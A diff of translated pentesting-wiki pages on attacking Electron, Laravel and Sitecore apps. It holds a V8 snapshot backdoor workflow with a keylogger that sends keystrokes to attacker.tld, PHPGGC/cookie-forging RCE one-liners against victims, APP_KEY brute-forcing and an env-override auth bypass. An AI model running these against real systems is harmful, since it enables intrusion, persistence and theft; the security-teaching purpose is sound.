docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) páginas executadas em **`file://`** têm acesso unilateral a todos os arquivos da sua máquina, o que significa que **problemas XSS podem ser usados para carregar arquivos arbitrários** do computador do usuário. Usar um **custom protocol** previne esse tipo de problema, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos. +Como mencionado em [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), páginas executadas em **`file://`** têm acesso unilateral a todos os arquivos na sua máquina, o que significa que **problemas de XSS podem ser usados para carregar arquivos arbitrários** do computador do usuário. Usar um **protocolo customizado** previne problemas como esse, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos. ## Remote module -The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. +O Electron Remote module permite que os **renderer processes acessem as main process APIs**, facilitando a comunicação dentro de uma aplicação Electron. Contudo, habilitar este módulo introduz riscos significativos de segurança. Ele amplia a superfície de ataque da aplicação, tornando-a mais suscetível a vulnerabilidades como cross-site scripting (XSS) attacks. > [!TIP] -> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information. +> Embora o módulo **remote** exponha algumas APIs do main para os renderer processes, não é trivial obter RCE apenas abusando dos componentes. No entanto, os componentes podem expor informações sensíveis. > [!WARNING] -> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**. +> Muitas apps que ainda usam o remote module o fazem de maneira que **require NodeIntegration to be enabled** no renderer process, o que é um **grande risco de segurança**. -Desde o Electron 14, o módulo `remote` pode ser habilitado de várias maneiras; porém, por razões de segurança e performance, é **recommended to not use it**. +Desde o Electron 14 o módulo `remote` do Electron pode ser habilitado de várias maneiras; por razões de segurança e performance é **recomendado não usá-lo**. -Para habilitá-lo, primeiro é necessário **enable it in the main process**: +Para habilitá-lo, primeiro é necessário **habilitá-lo no main process**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() @@ -324,33 +325,33 @@ Então, o processo renderer pode importar objetos do módulo assim: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` -O **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remote: +The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remote: - **`app.relaunch([options])`** -- **Reinicia** a aplicação **saindo** da instância atual e **lançando** uma nova. Útil para **atualizações do app** ou mudanças significativas de **estado**. +- **Reinicia** a aplicação saindo da instância atual e **lançando** uma nova. Útil para **app updates** ou **mudanças significativas de estado**. - **`app.setAppLogsPath([path])`** -- **Define** ou **cria** um diretório para armazenar os **logs do app**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**. +- **Define** ou **cria** um diretório para armazenar os **app logs**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **Registra** o executável atual como o **manipulador padrão** para um **protocolo** especificado. Você pode fornecer um **caminho customizado** e **argumentos** se necessário. - **`app.setUserTasks(tasks)`** -- **Adiciona** tasks à **Tasks category** na **Jump List** (no Windows). Cada task pode controlar como o app é **lançado** ou quais **argumentos** são passados. +- **Adiciona** tarefas à categoria **Tasks** no **Jump List** (no Windows). Cada tarefa pode controlar como o app é **lançado** ou quais **argumentos** são passados. - **`app.importCertificate(options, callback)`** -- **Importa** um certificado **PKCS#12** para o **certificate store** do sistema (somente Linux). Um **callback** pode ser usado para tratar o resultado. +- **Importa** um **certificado PKCS#12** para o armazenamento de certificados do sistema (apenas Linux). Um **callback** pode ser usado para tratar o resultado. - **`app.moveToApplicationsFolder([options])`** - **Move** a aplicação para a **Applications folder** (no macOS). Ajuda a garantir uma **instalação padrão** para usuários Mac. - **`app.setJumpList(categories)`** -- **Define** ou **remove** uma **Jump List** customizada no **Windows**. Você pode especificar **categories** para organizar como as **tasks** aparecem para o usuário. +- **Define** ou **remove** um **Jump List** customizado no **Windows**. Você pode especificar **categories** para organizar como as tarefas aparecem para o usuário. - **`app.setLoginItemSettings(settings)`** -- **Configura** quais **executáveis** iniciam no **login** juntamente com suas **opções** (somente macOS e Windows). +- **Configura** quais **executáveis** são iniciados no **login** juntamente com suas **opções** (apenas macOS e Windows). Example: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` -## systemPreferences module +## Módulo systemPreferences -A **API principal** para acessar as preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** são todos **parte deste** módulo. +A **API principal** para acessar preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** são todos **parte deste módulo**. **Exemplo de uso:** ```javascript @@ -367,29 +368,29 @@ console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** -* **Escuta** notificações nativas do macOS usando NSDistributedNotificationCenter. -* Antes do **macOS Catalina**, você podia sniff **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver. -* Após **Catalina / Big Sur**, apps em sandbox ainda podem **subscrever-se** a **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagens de volume**, **atividade de rede**, etc.) registrando notificações **pelo nome**. +* **Escuta** **notificações nativas do macOS** usando NSDistributedNotificationCenter. +* Antes do **macOS Catalina**, você podia sniffar **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver. +* Após **Catalina / Big Sur**, aplicativos sandboxed ainda podem **subscribe** a **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagem de volumes**, **atividade de rede**, etc.) registrando notificações **pelo nome**. ### **getUserDefault / setUserDefault** -* **Interage** com **NSUserDefaults**, que armazena preferências **da aplicação** ou **globais** no macOS. +* **Interage** com **NSUserDefaults**, que armazena preferências **de aplicação** ou **globais** no macOS. -* **getUserDefault** pode **recuperar** informações sensíveis, como **localizações de arquivos recentes** ou **localização geográfica do usuário**. +* **getUserDefault** pode **recuperar** informações sensíveis, como **locais de arquivos recentes** ou **a localização geográfica do usuário**. -* **setUserDefault** pode **modificar** essas preferências, potencialmente afetando a **configuração** de um app. +* **setUserDefault** pode **modificar** essas preferências, afetando potencialmente a **configuração** de um app. -* Em **versões mais antigas do Electron** (before v8.3.0), apenas o **conjunto padrão** de NSUserDefaults era **acessível**. +* Em **versões antigas do Electron** (antes da v8.3.0), somente a **standard suite** de NSUserDefaults era **acessível**. ## Shell.showItemInFolder -Esta função mostra o arquivo dado em um gerenciador de arquivos, o que **poderia executar automaticamente o arquivo**. +This function shows the given file in a file manager, which **could automatically execute the file**. For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) -## Política de Segurança de Conteúdo (CSP) +## Content Security Policy -Aplicativos Electron devem ter uma **Política de Segurança de Conteúdo (CSP)** para **prevenir ataques XSS**. A **CSP** é um **padrão de segurança** que ajuda a **evitar** a **execução** de **código não confiável** no navegador. +Apps Electron devem ter uma **Content Security Policy (CSP)** para **prevenir ataques XSS**. A **CSP** é um **padrão de segurança** que ajuda a **prevenir** a **execução** de **código não confiável** no browser. Normalmente é **configurada** no arquivo **`main.js`** ou no template **`index.html`** com a CSP dentro de uma **meta tag**. @@ -403,14 +404,14 @@ pentesting-web/content-security-policy-csp-bypass/ ## **Tools** -- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar más configurações e anti-padrões de segurança em aplicações baseadas em Electron. -- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para VS Code para aplicações Electron que utiliza o Electronegativity. +- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar misconfigurações e anti-padrões de segurança em aplicações baseadas em Electron. +- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin open source para VS Code para aplicações Electron que usa Electronegativity. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis -- [**Electro.ng**](https://electro.ng/): Requer compra +- [**Electro.ng**](https://electro.ng/): É pago ## Labs -In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um lab para exploit de Electron apps vulneráveis. +In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um lab para explorar aplicações Electron vulneráveis. Alguns comandos que vão te ajudar no lab: ```bash @@ -435,18 +436,18 @@ cd vulnerable1 npm install npm start ``` -## Backdoor local via adulteração de V8 heap snapshot (Electron/Chromium) – CVE-2025-55305 +## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 -Apps baseados em Electron e Chromium desserializam um V8 heap snapshot pré-construído na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os fusíveis de integridade do Electron não tratavam esses snapshots como conteúdo executável, então eles escapavam tanto da aplicação de integridade baseada em fuse quanto das verificações de code-signing do SO. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução de código furtiva e persistente dentro do app sem modificar os binários assinados ou o ASAR. +Electron e apps baseados em Chromium desserializam um V8 heap snapshot pré-compilado na inicialização (v8_context_snapshot.bin, e opcionalmente browser_v8_context_snapshot.bin) para inicializar cada V8 isolate (main, preload, renderer). Historicamente, os integrity fuses do Electron não tratavam esses snapshots como conteúdo executável, de modo que eles escapavam tanto da fuse-based integrity enforcement quanto das verificações de code-signing do sistema operacional. Como resultado, substituir o snapshot em uma instalação gravável pelo usuário permitia execução de código persistente e furtiva dentro do app sem modificar os binários assinados ou o ASAR. Key points -- Lacuna de integridade: EnableEmbeddedAsarIntegrityValidation e OnlyLoadAppFromAsar validam o JavaScript do app dentro do ASAR, mas não cobriam V8 heap snapshots (CVE-2025-55305). Chromium de forma similar também não realiza integrity-check dos snapshots. -- Pré-requisitos do ataque: escrita local de ficheiro no diretório de instalação do app. Isso é comum em sistemas onde apps Electron ou browsers Chromium são instalados em caminhos graváveis pelo usuário (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). -- Efeito: execução confiável do JavaScript do atacante em qualquer isolate ao sobrescrever um builtin frequentemente usado (um “gadget”), permitindo persistência e evasão da verificação de code-signing. -- Superfície afetada: apps Electron (mesmo com fuses habilitados) e browsers baseados em Chromium que carregam snapshots de locais graváveis pelo usuário. +- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validam o app JavaScript dentro do ASAR, mas não cobriam os V8 heap snapshots (CVE-2025-55305). O Chromium igualmente não verifica a integridade dos snapshots. +- Attack preconditions: gravação local de arquivos no diretório de instalação do app. Isso é comum em sistemas onde apps Electron ou browsers Chromium são instalados em caminhos graváveis pelo usuário (por exemplo, %AppData%\Local no Windows; /Applications com ressalvas no macOS). +- Effect: execução confiável de attacker JavaScript em qualquer isolate ao sobrescrever um builtin usado com frequência (um “gadget”), permitindo persistência e evasão da verificação de code-signing. +- Affected surface: apps Electron (mesmo com fuses habilitados) e browsers baseados em Chromium que carregam snapshots de locais graváveis pelo usuário. Generating a malicious snapshot without building Chromium -- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. +- Use o prebuilt electron/mksnapshot para compilar um payload JS em um snapshot e sobrescrever o v8_context_snapshot.bin da aplicação. Example minimal payload (prove execution by forcing a crash) ```js @@ -462,11 +463,11 @@ Array.isArray = function () { throw new Error("testing isArray gadget"); }; ``` -Isolate-aware payload routing (executar código diferente no main vs. renderer) -- Detecção do main process: Node-only globals como process.pid, process.binding(), ou process.dlopen estão presentes no main process isolate. -- Detecção Browser/renderer: Browser-only globals como alert estão disponíveis quando executados em um document context. +Roteamento de payloads sensível ao isolate (executar código diferente no main vs. renderer) +- Detecção do processo main: Node-only globals como process.pid, process.binding(), ou process.dlopen estão presentes no isolate do processo main. +- Detecção Browser/renderer: Browser-only globals como alert estão disponíveis ao executar em um contexto de documento. -Exemplo de gadget que verifica as capacidades Node do main-process uma vez +Exemplo de gadget que testa as capacidades Node do processo main uma vez ```js const orig = Array.isArray; @@ -519,26 +520,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no return orig(...arguments); }; ``` -Fluxo do operador -1) Escreva payload.js que sobrescreve um builtin comum (ex., Array.isArray) e, opcionalmente, ramifica por isolate. +Operator workflow +1) Escreva payload.js que sobrescreva um builtin comum (por exemplo, Array.isArray) e, opcionalmente, faça ramificações por isolate. 2) Construa o snapshot sem as fontes do Chromium: - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" -3) Substitua o(s) arquivo(s) de snapshot do aplicativo alvo: -- v8_context_snapshot.bin (usado sempre) -- browser_v8_context_snapshot.bin (se o LoadBrowserProcessSpecificV8Snapshot fuse for usado) +3) Substitua o(s) arquivo(s) snapshot da aplicação alvo: +- v8_context_snapshot.bin (always used) +- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) 4) Inicie o aplicativo; o gadget é executado sempre que o builtin escolhido for usado. -Notas e considerações -- Bypass de integridade/assinatura: Os arquivos snapshot não são tratados como executáveis nativos pelas verificações de assinatura de código e (historicamente) não eram cobertos pelos fuses do Electron ou pelos controles de integridade do Chromium. -- Persistência: Substituir o snapshot em uma instalação gravável pelo usuário normalmente sobrevive a reinicializações do app e aparenta ser um aplicativo legítimo e assinado. -- Navegadores Chromium: O mesmo conceito de adulteração se aplica ao Chrome/derivados instalados em locais graváveis pelo usuário. O Chrome possui outras mitigação de integridade, mas exclui explicitamente ataques fisicamente locais do seu modelo de ameaças. +Notes and considerations +- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls. +- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. +- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model. -Detecção e mitigações -- Trate snapshots como conteúdo executável e inclua-os na aplicação de integridade (CVE-2025-55305 fix). -- Prefira locais de instalação graváveis somente por admin; estabeleça linha de base e monitore hashes de v8_context_snapshot.bin e browser_v8_context_snapshot.bin. -- Detecte sobrescritas de builtin em tempo de execução inicial e mudanças inesperadas de snapshot; gere alertas quando snapshots desserializados não corresponderem aos valores esperados. +Detection and mitigations +- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). +- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. +- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. -## **References** +## **Referências** - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 4a48e253f..178d6bd53 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -4,14 +4,14 @@ ### Laravel SQLInjection -Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) --- -## APP_KEY & Internos de Encryption (Laravel \u003e=5.6) +## APP_KEY & Encryption internals (Laravel \u003e=5.6) -Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por baixo do capô (`Illuminate\\Encryption\\Encrypter`). -O raw ciphertext que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como: +Laravel usa AES-256-CBC (ou GCM) com integridade HMAC internamente (`Illuminate\\Encryption\\Encrypter`). +O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,7 +20,9 @@ O raw ciphertext que é finalmente **enviado ao cliente** é **Base64 de um obje "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` vai `serialize()` o plaintext por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decriptado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via magic methods (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` irá `serialize()` o plaintext por padrão, enquanto +`decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor descriptografado. +Portanto **qualquer atacante que conheça a chave secreta de 32 bytes `APP_KEY` pode criar um objeto serializado PHP criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**. Minimal PoC (framework ≥9.x): ```php @@ -29,7 +31,7 @@ use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Injete a string produzida em qualquer sink `decrypt()` vulnerável (route param, cookie, session, …). +Injete a string produzida em qualquer sink `decrypt()` vulnerável (parâmetro de rota, cookie, session, …). --- @@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -O script suporta de forma transparente payloads CBC e GCM e regenera o campo HMAC/tag. +O script suporta de forma transparente ambos os payloads CBC e GCM e regenera o campo HMAC/tag. --- ## Padrões vulneráveis do mundo real -| Project | Sink vulnerável | Gadget chain | -|---------|-----------------|--------------| +| Projeto | Sink vulnerável | Cadeia de gadgets | +|---------|-----------------|-------------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie quando `Passport::withCookieSerialization()` está habilitado | Laravel/RCE9 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | O fluxo de exploração é sempre: -1. Obtenha ou brute-force a `APP_KEY` de 32-byte. -2. Construa uma gadget chain com **PHPGGC** (por exemplo `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`). -3. Criptografe o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada. -4. Entregue o ciphertext ao sink vulnerável `decrypt()` (parâmetro de rota, cookie, session …) para acionar **RCE**. +1. Obter ou recuperar por brute-force a `APP_KEY` de 32 bytes. +2. Construir uma cadeia de gadgets com **PHPGGC** (por exemplo `Laravel/RCE13`, `Laravel/RCE9` ou `Laravel/RCE15`). +3. Criptografar o gadget serializado com **laravel_crypto_killer.py** e a `APP_KEY` recuperada. +4. Entregar o ciphertext ao sink vulnerável `decrypt()` (parâmetro de rota, cookie, sessão …) para acionar **RCE**. -Abaixo estão one-liners concisos demonstrando o caminho completo do ataque para cada CVE do mundo real mencionado acima: +Abaixo estão one-liners concisos demonstrando todo o caminho de ataque para cada CVE do mundo real mencionado acima: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -80,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` -## Descoberta em massa de APP_KEY via cookie brute-force +## Mass APP_KEY discovery via cookie brute-force -Porque toda resposta Laravel nova define pelo menos 1 cookie criptografado (`XSRF-TOKEN` e normalmente `laravel_session`), **scanners públicos da internet (Shodan, Censys, …) leak milhões de ciphertexts** que podem ser atacados offline. +Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. -Principais achados da pesquisa publicada pela Synacktiv (2024-2025): +Key findings of the research published by Synacktiv (2024-2025): * Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) * Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** -* >1 000 servers ainda vulneráveis ao legacy CVE-2018-15133 porque tokens contêm diretamente dados serializados. -* Reuso massivo de keys – as Top-10 APP_KEYs são defaults hard-coded fornecidos com templates comerciais Laravel (UltimatePOS, Invoice Ninja, XPanel, …). +* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. +* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). -A ferramenta Go privada **nounours** empurra o throughput de AES-CBC/GCM bruteforce para ~1.5 billion tries/s, reduzindo o cracking de todo o dataset para <2 minutos. +The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. ## CVE-2024-52301 – HTTP argv/env override → auth bypass -Quando o PHP tem `register_argc_argv=On` (típico em muitas distros), o PHP expõe um array `argv` para requisições HTTP derivado da query string. Versões recentes do Laravel parseavam esses args “CLI-like” e respeitavam `--env=` em tempo de execução. Isso permite trocar o environment do framework para a requisição HTTP atual apenas adicionando ao URL: +When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL: - Quick check: -- Visite `https://target/?--env=local` ou qualquer string e procure por mudanças dependentes do environment (banners de debug, footers, erros verbose). Se a string for refletida, o override está funcionando. +- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working. -- Impact example (business logic que confia num env especial): -- Se a app contém ramos como `if (app()->environment('preprod')) { /* bypass auth */ }`, você pode autenticar sem credenciais válidas enviando o POST de login para: +- Impact example (business logic trusting a special env): +- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to: - `POST /login?--env=preprod` - Notes: -- Funciona por requisição, sem persistência. -- Requer `register_argc_argv=On` e uma versão vulnerável do Laravel que lê argv para HTTP. -- Primitive útil para revelar erros mais verbose em envs “debug” ou para disparar caminhos de código protegidos por environment. +- Works per-request, no persistence. +- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP. +- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths. - Mitigations: -- Desabilitar `register_argc_argv` para PHP-FPM/Apache. -- Atualizar Laravel para ignorar argv em requisições HTTP e remover quaisquer suposições de confiança atreladas a `app()->environment()` em rotas de produção. +- Disable `register_argc_argv` for PHP-FPM/Apache. +- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes. Minimal exploitation flow (Burp): ```http @@ -127,22 +129,22 @@ email=a@b.c&password=whatever&remember=0xdf ### Modo de depuração -Se o Laravel estiver em **modo de depuração** você conseguirá acessar o **código** e **dados sensíveis**.\ +Se o Laravel estiver em **modo de depuração** você poderá acessar o **código** e os **dados sensíveis**.\ Por exemplo `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Isso geralmente é necessário para explorar outras Laravel RCE CVEs. +This is usually needed for exploiting other Laravel RCE CVEs. -### Fingerprinting & endpoints de dev expostos +### Fingerprinting & endpoints dev expostos Verificações rápidas para identificar uma stack Laravel e ferramentas de dev perigosas expostas em produção: -- `/_ignition/health-check` → Ignition presente (ferramenta de depuração usada por CVE-2021-3129). Se acessível sem autenticação, a aplicação pode estar em modo de depuração ou mal configurada. +- `/_ignition/health-check` → Ignition presente (ferramenta de debug usada pelo CVE-2021-3129). Se acessível sem autenticação, a app pode estar em debug ou mal configurada. - `/_debugbar` → assets do Laravel Debugbar; frequentemente indica modo de depuração. - `/telescope` → Laravel Telescope (monitor de dev). Se público, espere ampla divulgação de informações e possíveis ações. -- `/horizon` → Painel de filas; divulgação de versão e às vezes ações protegidas por CSRF. -- `X-Powered-By`, cookies `XSRF-TOKEN` e `laravel_session`, e páginas de erro Blade também ajudam no fingerprint. +- `/horizon` → painel de filas; divulgação da versão e, às vezes, ações protegidas por CSRF. +- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. ```bash # Nuclei quick probe nuclei -nt -u https://target -tags laravel -rl 30 @@ -151,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/ ``` ### .env -O Laravel salva o APP que usa para encrypt os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando algum path traversal em: `/../.env` +O Laravel salva a APP que usa para encrypt os cookies e outras credenciais dentro de um arquivo chamado `.env` que pode ser acessado usando um path traversal em: `/../.env` -O Laravel também mostrará essa informação na página de debug (que aparece quando o Laravel encontra um erro e está ativado). +O Laravel também exibirá essa informação na debug page (que aparece quando o Laravel encontra um erro e o modo de debug está ativado). -Usando a APP_KEY secreta do Laravel você pode decrypt e re-encrypt cookies: +Usando o APP_KEY secreto do Laravel você pode decrypt e re-encrypt cookies: ### Decrypt Cookie ```python @@ -220,14 +222,14 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Informações sobre a deserialization vulnerability podem ser encontradas aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Informações sobre a vulnerabilidade de desserialização: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -Você pode testá-la e exploitá-la usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Ou você também pode exploitá-la com metasploit: `use unix/http/laravel_token_unserialize_exec` +Você pode testá-la e explorá-la usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Ou você também pode explorá-la com metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Outra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Outra desserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md index a62c8bf73..23c614db6 100644 --- a/src/network-services-pentesting/pentesting-web/sitecore/README.md +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -Esta página resume uma cadeia de ataque prática contra o Sitecore XP 10.4.1 que pivota de um handler XAML pre‑auth para HTML cache poisoning e, através de um fluxo de UI autenticado, culmina em RCE via BinaryFormatter deserialization. As técnicas generalizam-se a versões/componentes semelhantes do Sitecore e fornecem primitivas concretas para testar, detectar e reforçar a segurança. +Esta página resume uma cadeia de ataque prática contra o Sitecore XP 10.4.1 que pivota de um pre‑auth XAML handler para HTML cache poisoning e, através de um authenticated UI flow, conduz a RCE por meio de BinaryFormatter deserialization. As técnicas generalizam-se para versões/componentes semelhantes do Sitecore e fornecem primitives concretas para testar, detectar e endurecer. - Produto afetado testado: Sitecore XP 10.4.1 rev. 011628 - Corrigido em: KB1003667, KB1003734 (junho/julho 2025) @@ -19,7 +19,7 @@ Veja também: ## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write -O ponto de entrada é o handler XAML pre‑auth registrado em web.config: +O ponto de entrada é o pre‑auth XAML handler registrado em web.config: ```xml ``` @@ -27,7 +27,7 @@ Acessível via: ``` GET /-/xaml/Sitecore.Shell.Xaml.WebControl ``` -A árvore de controles inclui AjaxScriptManager que, em requisições de evento, lê campos controlados pelo atacante e invoca métodos por reflexão nos controles alvo: +A árvore de controle inclui AjaxScriptManager que, em solicitações de evento, lê campos attacker‑controlled e invoca métodos reflexivamente nos controles alvo: ```csharp // AjaxScriptManager.OnPreRender string clientId = page.Request.Form["__SOURCE"]; // target control @@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters); // Alternate branch for XML-based controls if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} ``` -Observação-chave: a página XAML inclui uma instância XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de 